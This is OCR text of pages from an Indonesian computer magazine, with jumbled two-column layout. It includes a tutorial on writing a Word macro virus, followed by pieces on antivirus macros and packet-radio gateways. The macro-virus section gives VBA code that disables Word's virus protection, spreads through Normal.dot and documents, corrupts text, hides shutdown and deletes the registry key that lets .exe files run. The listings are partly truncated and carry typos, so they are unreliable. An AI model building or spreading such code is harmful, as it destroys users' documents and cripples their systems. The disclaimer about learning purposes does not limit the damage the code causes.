Barok disebar oleh I Love You dari empat alamat URL
pada webserver SkyInet. Barok seperti trojan-trojan Satu di Antara yang Lain
lainnya mempunyai dua bagian. Yaitu bagian client dan Antara Onel de Guzman, I Love You, dan Barok terdapat
server. Berbeda dengan kebanyakan trojan yang ada, suatu mata rantai yang saling berkait. Anak muda yang
Barok bukanlah tipe remote control. Barok berbeda dari berusia 24 tahun itu−usia yang sama ketika Chen Ing
Back Orifice atau SubSeven yang pernah penulis bahas. Hau membuat virus CIH− membagi peran untuk I Love
Perhatikan dua bagian trojan Barok: Trojan Barok yang You dan Barok dalam rangka mencuri password Windows
banyak beredar di Internet sangat beragam dari versi untuk kepentingan pribadi.
Barok 1.0, Barok 2.0, dan Barok 2.1. Pada penulis terdapat Suatu kesenangan di atas penderitaan orang lain. Bagi kita
Barok versi 2.0 dengan ukuran paket zip sebesar 335 KB. semua tentu harus bersikap kritis dan meningkatkan
Ada tiga file pada paket tersebut, tetapi intinya hanya dua kewaspadaan walaupun terhadap virus, worm atau trojan
bagian yaitu file Client.exe dan Server.exe. yang terlihat sepele sekalipun. Karena bisa jadi dia meru-
Trojan Barok merupakan trojan yang dapat dikonfigurasi. pakan satu mata rantai dari skenario besar yang sedang
Bagian Client merupakan unit untuk mengkonfigurasi berjalan. Mencegah lebih baik dari mengobati.
bagian Server. Bagian yang dapat dikonfigurasi pada

34 NeoTek Vol. IV No. 08


NeoTekno

VI R U S DAN WO R M
Membuat Sendiri Virus Macro
Macro pada Microsoft Word dimaksudkan untuk mengotomatisasi pekerjaan. MA Rody Candera
(odyxb@melva.org) menunjukkan bahwa otomatisasi dengan menggunakan Visual Basic pada
Microsoft Word dapat pula berarti pembentukan virus menggunakan fasilitas macro.
ALAM EDISI-EDISI MAJALAH NEOTEK, MUNGKIN PEM- 1. Virus Sign
D bahasan mengenai virus sudah begitu cukup mem-
beri pemahaman kepada pembaca sekalian. Tetapi
Penanda; tanda pengenal yang dimiliki virus. Program anti virus
menggunakan tanda pengenal yang dimiliki virus untuk
tetap saja cukup banyak penulis yang tetap mengangkat mengenali suatu program virus.
Contoh: Const marker="Make by Me-2D"
masalah mengenai virus. Berbicara mengenai virus sebe-
narnya mengasyikkan karena pada dasarnya pemahaman 2. Duplicating
yang lengkap mengenai virus baik untuk diketahui demi Penggandaan; kemampuan berkembang-biak dengan
memberikan informasi yang baik kepada para pengguna menggandakan dirinya.
komputer akan bahaya laten ini. 3. Defense
Pertahanan; kemampuan program virus untuk bertahan dari
Virus Macro serangan yang ada.
Virus ini sudah sangat dikenal bagi pengguna program ap- 4. Active Time
likasi Microsoft Word. Virus inilah yang sering kali mem- Waktu Aktif; suatu rutin dimana rutin ini nantinya menentukan
buat pusing mahasiswa-mahasiswa, karena dokumennya aktifnya program virus.
yang berisi catatan skripsi rusak atau lebih parah lagi jadi 5. Manipulation
hancur. Cerita yang menyedihkan yang pernah penulis Manipulasi; ini merupakan rutin program virus macro dimana
sendiri alamai ini. memulai aksinya melakukan perusakan atau bahkan
menghacurkan korbannya.
Sekarang sudah banyak beredar antivirus dengan berbagai
merek dagang yang bisa didapatkan secara gratis maupun Sampai disini, mari kita memulai praktek membuat virus
dengan membayar untuk mengatasi virus. Tetapi kejadian macro berdasarkan rutinitas yang telah dijelaskan di atas.
menyedihkan tetap berulang kali terjadi. Banyak juga
Tahap I: Membuat Virus Sign (Penanda Virus)
usaha penyewaan komputer yang tidak menggunakan
program antivirus, yang akibatnya ketika masalah muncul Jalankan Microsoft Word, lalu
menjadi sulit bahkan tidak bisa diatasi. 1 tekan Alt+F11 untuk meng-
aktifkan Visual Basic Editor.
Atas dasar hal itulah menjadikan sebuah rujukan kepada
penulis untuk mengangkat topik mengenai virus macro. Pada window aktif Visual Basic Editor,
Dalam hal ini penulis mencoba mengajak para pembaca klik kanan pada file aktif
sekalian untuk terjun langsung melakukan praktek dalam yang diwakili oleh Project
membuat virus macro dan cara mengatasinya. Document1), pilih sub
(D
Insert dan klik Module.
Alasan yang ada kenapa penulis membuat orientasi pada
Module tersebut itulah yang
kesempatan berikut ini seperti itu, dikarenakan penulis
nantinya akan menjadi virus
mencoba menjelaskan ternyata pembuatan virus ini sangat
yang kita buat.
sederhana dan tidak sulit tetapi dapat memberikan dampak
yang cukup besar seperti yang sudah pernah terjadi selama Selanjutnya, akan
ini. Begitu juga dalam hal mengatasinya, tidak jauh ber-
beda dengan pembuatannya.
2 muncul modul pada
bagian Module di
project. Sampai disini, kita
Sebelum penulis memulai inti dari cerita kita pada kesem-
keluar sebentar menuju
patan ini, penulis ingin sampaikan jika bahan penulisan
window aktif Microsoft
artikel ini bahan-bahannya merupakan hasil penjelajahan
Word.
di dunia maya internet, diskusi-diskusi, buku-buku, dan
artikel-artikel yang memberikan masukkan penting hing- Klik Tools
ga artikel ini tersajikan kepada para pembaca sekalian. hingga menu
pulldown
Struktur terlihat dan
Setiap virus yang hadir menemani perjalanan kita di dunia pilih Templates
komputer dan internet, memiliki kesamaan antara satu and Add-Ins...
dengan lainnya dalam hal struktur yang menjadikan maka window
rutinitasyang menjadi aturan main program virus untuk dari Templates
berkembang-biak. and Add-Ins
muncul.
Artikel pertama penulis mengenai virus (Neotek Vol II, No.
11, Agustus 2002), ada baiknya dibaca demi membantu Klik Organizer maka anda akan
memahami artikel kali ini. Dapat disimpulkan, rutin yang menuju window organizer. Pilih
ada pada virus macro yaitu: tab Macro Project Items.

Vol. IV No. 08 NeoTek 35


NeoTekno

Klik tulisan
Module1 dan Klik maka
klik Rename Klik makan
window
window
maka dialog Security akan
Security akan
muncul
muncul
rename akan
muncul, ma- membentuk pertahanannya. Program aplikasi Microsoft
sukkan pe- Word sebenarnya memiliki pendeteksi program macro
nanda virus ilegal di options. Perhatikan pada gambar di bawah ini.
yang anda
inginkan. Se- Jadi fungsi tersebut perlu untuk dimatikan demi lancarnya
telah selesai usaha virus macro dalam melakukan aksinya kedepan.
klik OK. Berikut kode listing untuk mematikan fungsi anti macro
ilegal.
Selesai sudah membuat penanda
3 virus kita. Hasil pengubahan
terhadap yang dilakukan dapat
Sub OptMSdie()
Options.SaveNormalPrompt = False
Options.VirusProtection = False
dilihat dengan mengaktifkan kembali Options.SavePropertiesPrompt = False
Visual Basic Editor. Hm... Bagaimana? Application.EnableCancelKey = wdCancelEnabled
End Sub
Apakah pembuatan penanda virus yang
dilakukan seseram virusnya? Ternyata Selain kode listing di atas, demi mematikan pengamanan
tidak, malah lebih santai daripada memi- yang dilakukan Microsoft Word, ada beberapa hal-hal lain
kirkan akibat yang akan kita coba tim- yang baik untuk dilakukan untuk membentuk pertahanan
bulkan nanti pada virus macro buatan kita. yang baik oleh program virus. Berikut salah satu kode
listing program yang dibutuhkan tersebut
Tahap I: Membuat Kode Listing Program Virus
Sub ToolsOptions()
2. Duplication Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Pada umumnya virus macro, dalam proses menggandakan Options.VirusProtection = True
dirinya dilakukan dengan memanfaatkan Global Template Dialogs(wdDialogToolsOptions).Show
OptMSdie
dari program aplikasi Microsoft Word atau kita lebih End Sub
mengenalnya dengan Normal.dot dengan jalan melakukan
infeksi pada normal.dot tersebut. 4. Active Time
Berikut merupakan kode listing program dalam melakukan Ini merupakan rutin yang tidak kalah pentingnya yang
infeksi tersebut. Kode lengkapnya dapat anda lihat pada harus dimiliki oleh program virus. Dengan rutin ini virus
lampiran kode listing program yang disertakan dalam CD. akan beraksi setelah mendapat aba-aba yang telah diten-
tukan untuk memulai infeksi penyebaran dirinya.
Sub DocInfection()
Dim Me2Doc As Boolean Seperti di perlombaan lari, para pelari yang berada di garis
Me2Doc = False
On Error Resume Next START akan berlari setelah mendengar suara letusan
For Each tar In ActiveDocument.VBProject.VBComponents pistol.
If tar.Name = "N30M4CR0T3K" Then Me2Doc = True
If tar.Name <> "N30M4CR0T3K" And tar.Name <> "ThisDocument" Then Begitulah pengandaiannya kurang lebih.
Application.OrganizerDelete Source:=ActiveDocument.FullName,
Name:=tar.Name, Object:=wdOrganizerObjectProjectItems Dalam hal ini, perlu diperhitungkan baik-baik. Kita dapat
.................... list not complete ..................... tentukan seperti pada saat program MS. Word diaktifkan,
Sub DocTempInfection() saat sebuah file dibuka, saat menyimpan file, saat... saat ....
Dim Tme2doc As Boolean
Tme2doc = False lainnya. Untuk opsi yang telah disebutkan tadi, kode listing
On Error Resume Next programnya adalah seperti berikut di bawah.
For Each tar In NormalTemplate.VBProject.VBComponents
If tar.Name = "N30M4CR0T3K" Then Tme2doc = True Program MS Word Diaktifkan
If tar.Name <> "N30M4CR0T3K" And tme3doc <> "ThisDocument" Then
Sub openW()
Application.OrganizerDelete Source:=NormalTemplate.FullName,
WordOp = Documents.Count
Name:=tar.Name, Object:=wdOrganizerObjectProjectItems
If WordOp <> 0 Then
....................... list not complete ............................
Normal.N30M4CR0T3K.DocInfection
3. Defense WordBasic.DisableAutoMacros False
On Error Resume Next
Ada kata bijak yang mungkin anda pernah mendengarnya, If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValur ("00:00:25"), "Normal.
yaitu Pertahanan yang baik adalah menyerang. Kata bijak N30M4CR0T3K.openW"
tersebut yang umumnya digunakan oleh virus untuk End If
End Sub

36 NeoTek Vol. IV No. 08


NeoTekno

File Dibuka Sub Ato2()


With ActiveDocument..Content.Find
Sub openF() .Text = "a"
WordBasic.DisableAutoMacros =True With .Replacement
On Error Resume Next .Text = "2"
If Dialogs(wdDialogFileOpen).Show <> 0 Then End With
DocInfection .Execute Format: = True, Replace: = wdReplaceAll
ActiveDocument.Save End With
End If End Sub
WordBasic.DisableAutoMacros False
End Sub Sub Ato1()
With ActiveDocument..Content.Find
.Text = "i"
File Disimpan With .Replacement
Sub saveF() .Text = "1"
On Error Resume Next End With
If ActiveDocument.Saved = False Then .Execute Format: = True, Replace: = wdReplaceAll
DocInfection End With
DocTempInfection End Sub
On Error Resume Next
ActiveDocument.Save Bentuk lain dalam memanifulasi teks dapat anda kembang-
ActiveDocument.Saved = True
End if
kan lagi dengan kode yang sama, seperti mengganti abjad
End Sub "a" dengan kalimat "aku jadi malu"
5. Manipulation Sub AtoAJM()
With ActiveDocument..Content.Find
Manipulasi yang dapat dilakukan, dalam hal ini dapat di- .Text = "a"
bedakan menjadi dua yaitu: With .Replacement
.Text = "aku jadi malu"
a. Manipulasi Teks End With
b. Manipulasi File Reg .Execute Format: = True, Replace: = wdReplaceAll
End With
Sekarang kita bahas satu persatu dari kedua bentuk End Sub
manipulasi tersebut. Masih ada lagi bentuk manipulasi lain? Masih... sangat
Manipulasi Teks banyak. Tapi tentunya tidak semua yang akan dibahas
disini. Menghabisi lembaran majalah kita aja yach?
Yang dimaksud dengan manipulasi teks adalah program
virus yang ada memiliki kemampuan atau dalam berak- Tapi tak mengapalah kalau penulis dua contoh lagi untuk
sinya setelah berhasil meng-infeksi-kan dirinya, melaku- manipulasi teks. Sekarang memanipulasi teks dengan me-
kan pengubahan terhadap teks yang dalam dalam file manfaatkan fasilitas AutoCorrect, maksudnya disini, akan
dokumen korbannya. melakukan perubahan huruf yang akan diketikkan dengan
kata yang kita inginkan, seperti ketika mengetikkan huruf
Lihat listing berikut di bawah ini: "a" makan akan berubah menjadi "akan" atau huruf "b"
Sub AtoZ() menjadi "berubah". Bagi yang pernah menggunakan fasi-
With ActiveDocument..Content.Find litas autocorrect ini tentu akan mengerti sekali. Listing
.Text = "a"
With .Replacement kode programnya adalah:
.Text = "2"
End With Sub ToolsAutoManager()
.Execute Format: = True, Replace: = wdReplaceAll On Error Resume Next
End With AutoCorrect.Entries("a").Delete
End Sub AutoCorrect.Entries("b").Delete
AutoCorrect.Entries("c").Delete
Dampak yang dihasilkan dari listing di atas yaitu meng- AutoCorrect.Entries("c").Delete
AutoCorrect Entries.Add Name:="a", Value:="akan"
ubah seluruh abjad "a" menjadi angka "2" pada file doku- AutoCorrect Entries.Add Name:="b", Value:="berubah"
men korban (perhatikan gambar). AutoCorrect Entries.Add Name:="c", Value:="cepat"
AutoCorrect Entries.Add Name:="d", Value:="deh"
End Sub

Hasil dari manipulasi teks tersebut lumayan mantap dan


menyakitkan hati, apalagi jika ditambah satu lagi berikut
yang berikut ini yang menimbulkan animasi terhadap teks.
Sub AnimT()
Selection.HomeKey unit:=wdStory
Selection.EndKey Unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationSparkleText
Selection.HomeKey Unit:=wdStory
End Sub

Manipulasi Registry
Selain manipulasi teks, manipulasi lain yang dapat dilaku-
kan adalah manipulasi file registry. Seperti yang kita ke-
tahui registry merupakan salah satu hal yang sangat pen-
ting yang dimiliki oleh Windows.
Contoh listing kode berikut, dapat menghilangkan opsi
shutdown pada toolbar Start.
Itu untuk satu mengganti huruf saja, bagaimana untuk
mengganti lebih dari satu? Tinggal menambahkan saja se- Sub SDdie()
Open "\sd.reg" For Output As #1
perti kode yang sudah ada, hanya target huruf yang de- Print #1, "REGEDIT4"
ngan untuk pengubahan saja yang perlu diganti. Print #1,
Print #1,

Vol. IV No. 08 NeoTek 37


NeoTekno

"[Hkey_Current_User\Sofware\Microsoft\Windows\CurrentVersion\Policies\Explo
rer]"
Print #1, """"; "NoClose"; """"; "dword:01"
Close #1
On Error Resume Next
Shell "regedit \sd.reg", vbHide
Kill "\sd.reg"
End Sub

Perilaku yang ada akibat kode yang ditimbulkan sudah


cukup berbahaya karena akan membuat orang mematikan
komputernya dengan menekan tombol power dan akibat-
nya akan mempengaruhi perilaku Windows nantinya.
Satu lagi kode listing yang dapat menimbulkan hal berba-
haya juga yaitu dapat melumpuhkan file berekstensi EXE
P
ENANGKAL YANG AKAN DIBUAT MEMILIKI KEUNIKAN YAITU
(*.exe) seperti berikut:
merupakan duplikasi dari virus macro itu sendiri
Sub EXEdie() atau dalam arti kata memiliki sifat virus macro
Open "\ex.reg" For Output As #1
Print #1, "REGEDIT4"
tetapi tugasnya justru untuk membersihkan suatu file *.doc
Print #1, yang terinfeksi virus macro. Menghajar virus macro de-
Print #1, "[-Hkey_Classes_Root\exefile]" ngan program sejenisnya.
Close #1
On Error Resume Next Seperti yang sudah kita ketahui, program virus macro me-
Shell "regedit \sd.reg", vbHide
Kill "\ex.reg" lakukan infeksi dengan memanfaatkan file Normal.dot jadi
End Sub untuk menjaga kesuciannya ada baiknya file Normal.dot
Anda dapat mengembangkannya lagi sesuai keinginan an- dihapus saja. Jalan singkat yang lumayan memiliki risiko.
da sendiri. Biar makin mantap, makin diperdalam registry. Jika menjumpai virus macro menjangkiti file dokumen anda,
Setelah melihat penjelasan di atas, langkah terakhir dalam cara lain untuk mengatasinya adalah menghapus rutin pro-
pembuatan virus macro adalah merakit kode listing yang gram virus macro dengan cara aktifkan file yang terinfeksi
telah dipersiapkan sebelumnya. Dalam arti kata, yang di- kemudian aktifkan Visual Basic Editor (tekan Alt+F11), dan
susun dalan subroutines daripada virus yang akan diha- periksa satu persatu sub-sub project di dalamnya dan hapus
silkan. Kapan virus akan melakukan infeksi dan kapan pula jika terdapat rutin program virus macro.
aksi dimulai. Tetapi ada virus macro yang tidak mengijinkan anda meng-
Pembahasan berikut masih berhubungan dengan penje- aktifkan Editor Visual Basic. Jika mengalami hal ini harus
lasan di atas pada sub Active Time dan Manipulation, jadi gimana lagi? Yah kita mulai saja cara membuat penangkal
bacanya jangan dilompat-lompat agar makin mudah virus macro. Jika masih bermasalah juga, jawaban terakhir
memahaminya. adalah menggunakan program anti virus yang sudah ada.
Susah-susah amat yach...
Perhatikan kode listing pada sub Active Time untuk "File
dibuka." Hal ini merupakan kondisi standar, karena yang Mari kita mulai, caranya tidak jauh berbeda dengan cara
terjadi hanya infeksi yang dilakukan virus tanpa mengha- membuat virus macro. Jadi sebaiknya dibaca terlebih dahu-
silkan efek-efek lainnya. lu biar lebih asyik.
Nah jika akan dilakukan dengan menambah efek-efek VB Editor
lainnya saat infeksi terjadi, maka perlu untuk dilakukan Aktifkan Mic-
perakitan kode yang sudah ada. Lihat contoh kode listng
berikut:
1 rosoft Word,
kemudian ak-
tifkan Visual Basic
Sub openF()
WordBasic.DisableAutoMacros =True Editor dengan menekan
On Error Resume Next Alt+F11 atau dari Menu
If Dialogs(wdDialogFileOpen).Show <> 0 Then Standar Tools > Macro
DocInfection
ActiveDocument.Save > Visual Basic Editor.
Ato1
Ato2
AnimT
SDdie
EXEdie
End If
WordBasic.DisableAutoMacros False
End Sub
Menambah Module
Pada kode listing tersebut, perakitan telah dilakukan. Saat
infeksi (Perhatikan huruf tebal) terjadi maka efek-efek 2 Kita membutuhkan
sebuah Module se-
yang terjadi akan dilakukan. Selesai sudah perkerjaan kita. perti juga yang dilakukan
Silakan anda uji sendiri di komputer anda sendiri juga. pada pembuatan virus
Ingat ini hanya bentuk pembelajaran pada kita semua macro. Disinilah nantinya
dengan tujuan agar kita tahu ternyata proses pembuatan pengetikkan listing kode
virus macro ternyata mudah untuk dilakukan dan berarti program penangkal virus
bukan untuk dijadikan alat merusak. macro. Klik kanan Project
Penulis tidak bertanggung jawab atas tindakan negatif yang Document1); akan muncul
(D
mungkin anda lakukan nantinya jikalau anda menjadikan pilihan menu, pilih Insert
hal yang telah dipaparkan sebagai alat untuk merusak. kemudian klik Module.

38 NeoTek Vol. IV No. 08


NeoTekno

VI R U S DAN WO R M
Membuat Penangkal Virus Macro
Setelah membahas cara membuat virus macro pada Word, MA Rody Candera
(odyxb@melva.org) menunjukkan bahwa cara yang serupa dapat digunakan
untuk membuat penangkal terhadap virus-virus macro.
Mengganti Nama Module Sub Pena97War()
Options.SaveNormalPrompt = False
Kembali ke window Word Options.VirusProtection = False
3 lalu klik Tools > Template
and Add-Ins. Pada window
Options.SavePropertiesPrompt = False
On Error Resume Next
If ActiveDocument.Name <> "Pena97War.doc" Then
Template Add-Ins, klik Organizer p=1
untuk mengaktifkan window v = MsgBox("Checked File : " + ActiveDocument.Name + " ...!!!",
Organizer. Setelah jendela organizer vbInformation, "Open File - Pena97War")
aktif, pilih tab On Error Resume Next
Macro Project For Each vir In ActiveDocument.VBProject.VBComponents
If vir.Name <> "Pena97War" And vir.Name <>
Items klik "ThisDocument" And vir.Name <> "MCPena97War" Then
Rename dan p=p+1
ganti nama mo- Set mok =
dule dengan yang kita inginkan. ActiveDocument.VBProject.VBComponents.Item(p)
xad1 = mok.CodeModule.Lines(1,
Contoh: N304NT1 mok.CodeModule.CountOfLines)
v = MsgBox("Checking Module Content " + vir.Name,
vbInformation, "Content of
Menambahkan UserForm

Kode Program

Kembali ke Visual Basic Editor, sekarang kita


4 berada pada tahap pengetikkan kode program
penangkal virus macro-nya. Klik double module
Kita perlu menambahkan sebuah Form pada projek ini.
Klik kanan Project (Document1) lalu akan muncul pilihan
kita tadi untuk mengaktifkan jendela kode editor. Listing menu, pilih Insert kemudian klik UserForm. Maka ana
lengkap kode program dapat anda lihat pada CD yang akan melihat sebuah Form Muncul bersama ToolBox
disertakan di majalah ini. Component yang mendukungnya.

Vol. IV No. 08 NeoTek 39


NeoTekno

Set Layout UserForm


Selanjutnya, atur
6 tampilan Form
yang muncul tadi
dengan memanfaatkan
toolbox.

Kode Program UserForm


Klik double Form untuk memunculkan Kode Editor dan
ketikkan kode program untuk Form. Seperti yang terlihat
pada gambar di bawah. Kode programnya simple sekali.
T
EKNOLOGI KOMUNIKASI DATA PACKET RADIO MERUPAKAN
Final Step salah satu bentuk komunikasi data paket kecepatan
Kita sudah berada dipenghujung projek, langkah terakhir rendah 300bps s/d 56kbps yang dikembangkan di
yang perlu kita lakukan adalah melakukan save projek kita. dunia amatir radio sekitar akhir tahun 80-an. Protokol ko-
Simpa dengan nama file yang telah ditentukan sebelum- munikasi data yang digunakan adalah AX.25 untuk mela-
nya, dalam hal ini penulis menggunakan nama filenya kukan packet switching di jaringan. Bagi yang penasaran
yaitu Pena97War.doc. dapat membaca berbagai referensi yang pernah saya tulis
Selesai sudah langkah-langkah pembuatan penangkal virus di http://www.bogor.net/idkf atau http://onno.vlsm.org/
macro. Ternyata tidak sulit kan? Untuk lebih lengkapnya Teknik ini masih digunakan di amatir radio, termasuk di
menambha wawasan kita bersama, sebaiknya kita kembali Indonesia, karena kemampuannya untuk melakukan ko-
menggali informasi yang bersangkutan pada topik kita ini munikasi data jarak jauh dengan biaya yang relatif murah
demi memperbaiki dan menyempurnakan pengetahuan jika sudah mempunyai peralatan radio baik itu Single Side
kita dalam pembuatan penangkal virus macro. Band (SSB) maupun peralatan rig VHF (2 meter-an) atau
Penulis sangat menyadari sekali kekurangan yang ada UHF (70 cm-an).
mulai dari topik pembuatan virus macro sampai pada topik Bagi anda yang berkeinginan untuk akses Internet berke-
membuat penangkal virus macro. cepatn 11Mbps ke atas, sebaiknya anda menggunakan WiFi
atau lebih di kenal sebagai Wireless LAN karena investasi-
nya jauh lebih murah. Peralatan Wireless LAN bekerja
pada frekuensi 2.4GHz, sehingga seseorang dengan lisensi
amatir radio minimal tingkat penggalang (YC) dapat ber-
operasi di frekuensi tersebut tanpa perlu minta ijin khusus
ke POSTEL.
Tulisan ini akan menjelaskan langkah-langkah yang diper-
TNC Telereader Mr. Packet lukan untuk menginstalasi sebuah gateway packet radio
yang bekerja di VHF 2 meter band.
Sebetulnya gateway packet radio yang saya instalasi di
rumah juga tersambung ke Internet dan di kenal oleh
mesin di Internet, sehingga dapat mengirim dan menerima
e-mail dari/ke Internet menggunakan domain ampr.org
(Amateur Packet Radio).

Catatan Kecil Penggunaan Paket Radio


Sekedar catatan, tulisan ini di tujukan untuk menginstalasi
gateway packet radio dari/ke Internet. Tulisan ini bukan di
tujukan untuk pengguna packet radio biasa. Untuk peng-
guna packet radio biasa, kontruksi dan cara settingnya jauh
lebih sederhana hampir tidak perlu melakukan banyak
setting seperti hal-nya gateway.

Perbedaan konstruksi packet radio untuk pengguna biasa dan untuk gateway

40 NeoTek Vol. IV No. 08


NeoTekno

I NTE R N ET PAK ET R AD I O
Instalasi Gateway di Linux
Daerah anda tidak ada layanan telkom? Lalu bagaimana bisa berinternet?
Onno W. Purbo (onno@indo.net.id) setelah sebelumnya membahas wi-fi, kini membahas
penyediaan infrastruktur internet menggunakan radio amatir.

Rekan-rekan banyak yang menggunakan PC + sound card baca manual tersebut baik-baik, versi software yang digu-
dengan system operasi Windows. Untuk komunikasi packet nakan memang agak ketinggalan, tetapi banyak hal yang
radio menggunakan software AGWPE yang lebih baru dari perlu di mengerti dapat di baca di manual tersebut.
Flexnet, dan dapat mengenal banyak soundcard PC. Ambil berbagai paket software di
Mic dan speaker soundcard dapat di sambungkan ke per- http://sourceforge.net/projects/ax25/
alatan radio/walkie talkie yang digunakan untuk berhu-
bungan dengan instalasi gateway packet radio. AGWPE Ambil paket dari versi terbaru dari
dapat di ambil di http://www.raag.org/sv2agw/inst.htm libax25 seperti libax25-0.0.11.tar.gz
Bagi anda yang hanya berfungsi sebagai user & tidak men- ax25-tools seperti ax25-tools-0.0.8.tar.gz
jalankan servis apapun, lebih di sarankan untuk menggu- ax25-apps seperti ax25-apps-0.0.6.tar.gz
nakan Terminal Node Controler (TNC) atau sound card Sebaiknya juga mengambil melalui
modem tanpa menjalankan servis TCP/IP. Anda dapat login
ke salah satu gateway atau servis yang beroperasi dan http://www.rpmfind.net
menggunakan TCP/IP di server tersebut. ambil paket
Bagi anda yang lebih advance dapat mengujicoba jaringan ax25-utils-2.1.42a-3.i386.rpm
TCP/IP di amatir radio dengan berkoordinasi di mailing list dalam ax25-utils, terdapat beberapa software tambahan se-
orari-news@yahoogroups.com. perti Buletin Board System (BBS) dll.
Peralatan yang Dibutuhkan Persiapan Kernel Linux
Yang saya gunakan di rumah pada saat ini adalah: Jika anda menggunakan Linux Mandrake, maka anda cu-
• PC Pentium 75MHz, RAM 64Mbyte dan harddisk 20Gbyte. kup beruntung karena berbagai modul untuk keperluan
RAM perlu di upgrade ke 64Mbyte supaya enak untuk di amatir radio sudah di compile dalam kernel Mandrake.
instalasi Linux Mandrake. Harddisk yang dibutuhkan
sebetulnya hanya 2 Gbyte, akan tetapi susah mencari
harddisk 2 Gbyte, harddisk bekas yang saya dapat minimal
20Gbyte seharga Rp 200.000,-.
• Linux Mandrake 9.0. Tidak perlu kita menggunakan distro
yang terbaru. Kebaikan Linux Mandrake, modul-modul untuk
mendukung operasi packet radio sudah tersedia di kernel.
• Walkie Talkie/Handy Talkie (HT) ICOM IC02N untuk
bekerja di amatir radio 2 meter band. Kebetulan HT jenis ini
yang saya miliki di rumah, harga bekas di pasaran sekitar Rp
300-500.000,-.
• Coax dan antenna hygain 2 meter-an.
• Terminal Node Controller (TNC) Telereader Mr. Packet TNC-
220. Ini lumayan sulit untuk diperoleh di Indonesia. Saya
kebetulan di sumbang oleh Bapak Budi YB0HD salah satu
pengurus ORARI Jakarta untuk melakukan experimen ini. Di
Bandung, dulu dapat di beli di YB1CS di Jalan Sabang. Bagi
anda yang betul-betul berminat dapat menanyakan ke
mailing list orari-news@yahoogroups.com.
Sebetulnya saya juga beberapa melakukan experimen
menggunakan soundcard SoundBlaster SB16, tetapi entah
kenapa masih banyak gagal.

Software yang Dibutuhkan


Sebelum melakukan instalasi sebaiknya mengambil ma-
nual untuk instalasi packet radio di Linux di URL berikut:
http://www.ibiblio.org/pub/Linux/docs/ HOWTO/other-
formats/pdf/AX25-HOWTO.pdf Konfigurasi peralatan yang dibutuhkan

Vol. IV No. 08 NeoTek 41


NeoTekno

Setelah ax25-tools terinstall, selanjutnya install ax25-apps:


# cp ax25-apps-0.0.6.tar.gz /usr/local/src
# cd /usr/local/src
# tar zxvf ax25-apps-0.0.6.tar.gz
# cd ax25-apps-0.0.6
# ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var
# make
# make install
# make installconf
Jika anda menemui error yang berbunyi kira-kira
gcc -Wall -Wstrict-prototypes -O2 -I../lib -c call.c
call.c: In function `statline':
call.c:268: warning: implicit declaration of function `attron'
Handy talkie amatir radio 2 call.c:268: `A_REVERSE' undeclared (first use this function)
meter band call.c:268: (Each undeclared identifier is reported only once
call.c:268: for each function it appears in.)
Jika anda menggunakan distro selain Linux, maka anda maka berarti library ncurses belum di install. Di Mandrake
perlu mengcompile ulang kernel yang digunakan supaya di 9.0 library tersebut ada di CDROM distribusi dan dapat di-
masukan modul/subroutine pendukung operasi amatir install melalui perintah
radio (AX.25).
# rpm -ivh ncurses4-5.0-9.i386.rpm
Tentunya jangan lupa install semua paket pendukung pe-
kerjaan development pada saat kita menginstall Linux, Biasanya library ncurses akan di install secara automatis di
seperti gcc, make dll. Hal ini diperlukan untuk meng- Linux Mandrake. Bagi anda yang ingin mencoba hal-hal
compile paket AX.25. yang lebih advance dapat menginstalasi paket ax25-utils
Kita masih perlu meng-edit file melalui perintah
/etc/modules.conf # rpm -ivh ax25-utils-2.1.42a-3.i386.rpm
masukan entry di bawah ini: Selesai sudah instalasi semua paket program pendukung
alias net-pf-3 ax25 operasi AX.25 di Linux.
alias net-pf-6 netrom Hal selanjutnya yang perlu dilakukan adalah:
alias net-pf-11 rose
alias tty-ldisc-1 slip 1. Mengkonfigurasi modem atau Terminal Node
alias tty-ldisc-3 ppp Controller Packet Radio agar dapat berbicara ke Linux.
alias tty-ldisc-5 mkiss 2. Mengkonfigurasi modul AX.25 di Linux agar dapat ber-
alias bc0 baycom operasi dengan benar di jaringan amatir radio Indonesia.
alias nr0 netrom
alias pi0a pi2
alias pt0a pt Teknik Menyiapkan TNC (Terminal Node Controller)
alias scc0 optoscc Ada dua hal utama yang harus dilakukan terhadap Termi-
alias sm0 soundmodem nal Node Controller (TNC) packet radio agar dapat berope-
alias tunl0 newtunnel rasi di jaringan Internet (TCP/IP), yaitu:
alias char-major-4 serial
alias char-major-5 serial 1. Menyambungkan TNC ke peralatan radio dan komputer
alias char-major-6 lp
2. Mengaktifkan mode KISS di TNC.
Instalasi Software Paket Radio di Linux Untuk menyambungkan TNC ke komputer biasanya kita
menggunakan kabel serial yang menghubungkan port serial
Install libax25 melalui perintah di TNC ke port COM1 atau COM2 di PC. Saya mengguna-
# cp libax25-0.0.11.tar.gz /usr/local/src kan COM1 di PC.
# cd /usr/local/src
# tar zxvf libax25-0.0.11.tar.gz Untuk menyambungkan TNC Telereader TNC-220 ke per-
# cd libax25-0.0.11 alatan HT ICOM IC02N relatif mudah karena di panel muka
# ./configure --exec_prefix=/usr --sysconfdir=/etc -- TNC-220 terdapat tempat colokan mic & speaker yang dapat
localstatedir=/var langsung di sambungkan ke HT IC02N. Kita cukup mem-
# make beli konektor audio biasa maupun yang agak kecil untuk
# make install keperluan tersebut seharga beberapa ratus rupiah di Glodok.
# make installconf
Terminal Node Controller (TNC) adalah modem khusus
make installconf akan menginstall contoh konfigurasi yang di rancang untuk operasi komunikasi data paket di
yang kita butuhkan ke dalam folder /etc/ax25. jaringan amatir radio. TNC dirancang untuk dihubungkan
Setelah libax25 di install, selanjutnya kita menginstall ke terminal atau komputer yang menjalankan program
ax25-tools, melalui perintah: komunikasi terminal, misalnya hyperterminal di Windows.
# cp ax25-tools-0.0.8.tar.gz /usr/local/src Biasanya kecepatan komunikasi serial yang digunakan an-
# cd /usr/local/src tara PC/terminal dengan TNC adalah 9600bps.
# tar zxvf ax25-tools-0.0.8.tar.gz Agar TNC dapat bekerja dengan Linux yang menjalankan
# cd ax25-tools-0.0.8 protocol TCP/IP, maka kita perlu mengaktifkan mode Keep
# ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var It Simple Stupid (KISS) yang pada dasarnya mem-bypass
# make
# make install semua mekanisme protocol yang ada di TNC dan menggu-
# make installconf nakan mekanisme protocol yang di operasikan dari PC.

42 NeoTek Vol. IV No. 08


NeoTekno

